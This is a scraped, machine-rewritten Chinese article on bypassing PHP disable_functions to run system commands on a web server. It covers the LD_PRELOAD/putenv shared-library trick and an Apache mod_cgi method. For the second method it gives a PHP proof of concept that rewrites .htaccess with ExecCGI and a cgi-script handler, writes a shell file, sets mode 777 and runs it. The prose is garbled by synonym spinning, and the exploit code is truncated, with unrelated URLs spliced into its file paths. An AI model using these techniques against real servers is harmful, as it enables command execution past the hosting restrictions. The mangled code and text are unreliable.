加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程 > 正文

PHP通过bypass disable functions执行体系呼吁的要领汇总

发布时间:2021-05-18 23:31:58 所属栏目:编程 来源:网络整理
导读:一、为什么要bypass disable functions 为了安详起见,许多运维职员会禁用PHP的一些“伤害”函数,譬喻eval、exec、system等,将其写在php.ini设置文件中,就是我们所说的disable functions了,出格是假造主机运营商,为了彻底断绝同处事器的客户,以及停止

当这个共享库中的geteuid被挪用时,实行加载payload()函数,执行呼吁,在/var/www/html目次下建设一个名字为test的文件。这里现实应用时应该留意编译平台和方针只管临近,以及留意路径题目,停止不须要的贫困,这里我们仅仅作为测试,不思量这些题目。

我们把hack.so放到WEB目次,然后编写一个PHP文件举办测试:

我们的/var/www/html/目次下原来只有hack.so和index.php这两个文件,当我们在赏识器中会见index.php页面之后,可以看到目次下又多出了一个test文件,声名我们的体系呼吁执行乐成。

(PS:笔者现实测试时的情形是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的情形,测试时碰着一个题目,就是每次革新会见index.php时,假造机的VM历程会猖獗的读写硬盘,险些独有磁盘的全部勾那时刻(机器硬盘),导致假造机卡顿到连鼠标都无法移动,物理机也因此受到影响明明卡顿,约半小时阁下这种环境会溘然消散,最终测试功效乐成。不知道是什么缘故起因引起这种征象,必要进一步研究,但不在本文接头范畴之内。)

这种绕过举动实验起来很简朴,而且今朝为止还不受PHP与Linux版本的限定,可是也很轻易防止,只要禁用相干的函数(putenv)可能限定对情形变量的转达就可以了,可是要留意对现有营业是否造成影响。

着实对付这个题目,早在2008年就有人向PHP官方反馈过,只不外PHP给出的回覆是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,以是我们有来由信托在后续的PHP版本中也不会对这个题目有什么针对性的办理方案。

四、.htaccess:不止重定向

各人对.htaccess文件必然不生疏,没错,在apache的WEB情形中,我们常常会行使.htaccess这个文件来确定某个目次下的URL重写法则,出格是一些开源的CMS可能框架傍边常常会用到,好比闻名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部门PHP框架,譬喻ThinkPHP和Laravel,在apache情形下会用.htaccess文件实现路由法则。可是假如.htaccess文件被进攻者修改的话,进攻者就可以操作apache的mod_cgi模块,直接绕过PHP的任何限定,来执行体系呼吁。

关于mode_cgi,可以参考apache的官方声名: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime范例application/x-httpd-cgi可能被 cgi-script处理赏罚器(Apache 1.1或往后版本)处理赏罚的文件将被作为CGI剧本看待并由处事器运行,它的输出将被返回给客户端。通过两种途径使文件成为CGI剧本,可能文件具有已由 AddType指令界说的扩展名,可能文件位于 ScriptAlias目次中。”,这就暗示,apache应承WEB处事器与可执行文件举办交互,这就意味着,你可以用C可能python编写WEB应用,听起来我们仿佛可以做任何apache权限用户能做的工作了,那么到底怎样实现呢?

起首必要满意几个前提,第一,必需是apache情形,第二,mod_cgi已经启用(在我的情形下是默认启用的),第三,必需应承.htaccess文件,也就是说在httpd.conf中,要留意AllowOverride选项为All,而不是none,第四,必需有权限写.htaccess文件。其拭魅这几个前提照旧较量轻易满意的,满意了以上的前提,就可以“搞工作”了。

在apache的设置中,有一个很是重要的指令,Options,Options指令是Apache设置文件中一个较量常见也较量重要的指令,Options指令可以在Apache处事器焦点设置(server config)、假造主机设置(virtual host)、特定目次设置(directory)以及.htaccess文件中行使。Options指令的首要浸染是节制特定目次将启用哪些处事器特征。关于Options指令后可以附加的特征选项的详细浸染及寄义,可以参考这篇文章: http://www.365mini.com/page/apache-options-directive.htm ,虽然我们用到的就是ExecCGI选项,暗示应承行使mod_cgi模块执行CGI剧本。除了Options,我们还要共同其它一个AddHandler指令来行使,假如你对AddHandler不太认识不要紧,这么表明一下就轻易领略多了:AddType我们必定很认识,好比设置apache对PHP的支持的时辰,常常会添加一行相同AddTypeapplication/x-httpd-php .php这样的设置,这着实是指定了文件扩展名和内容范例之间的映射相关,而AddHandler则是指定扩展名和处理赏罚措施之间的相关,也就是说,可以指定某个特定的扩展名的文件,怎样来举办处理赏罚。

有了Options和AddHandler,我们就可以任意指定一个特定的文件扩展名以特定的措施来处理赏罚,这样思绪就很清楚了:先把要执行的措施写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令应承行使mod_cgi模块执行CGI剧本,然后再让我们特定的扩展名以cgi-script举办处理赏罚,这样我们乃至可以反弹一个shell出来。

POC如下,附注释:

n"; } if(!isset($_GET['checked'])) { @file_put_contents('.htaccess',"nSetEnv HTACCESS on",FILE_APPEND); header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行情形的搜查 } else { $modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启 $writable = is_writable('.'); //检测当前目次是否可写 $htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No"); checkEnabled("Iswritable",$writable,"No"); checkEnabled("htaccessworking",$htaccess,"No"); if(!($modcgi && $writable&& $htaccess)) { echo "Error. All of the above mustbe true for the script to work!"; //必需满意全部前提 } else { checkEnabled("Backing up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in .htaccess.bak","Failed!"); //备份一下原有.htaccess checkEnabled("Write .htaccessfile",file_put_contents('.htaccess',"Options +ExecCGInAddHandlercgi-script .dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名 checkEnabled("Write shellfile",file_put_contents('http://www.lidatong.com.cn/html/jc/php/2020/1212/shell.dizzle',$shellfile),"Failed!");//写入文件 checkEnabled("Chmod777",chmod("http://www.lidatong.com.cn/html/jc/php/2020/1212/shell.dizzle",0777),"Failed!");//给权限 echo "Executing the script now.Check your listener PHP通过bypass disable functions执行体系呼吁的要领汇总"; //挪用 } } ?>

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读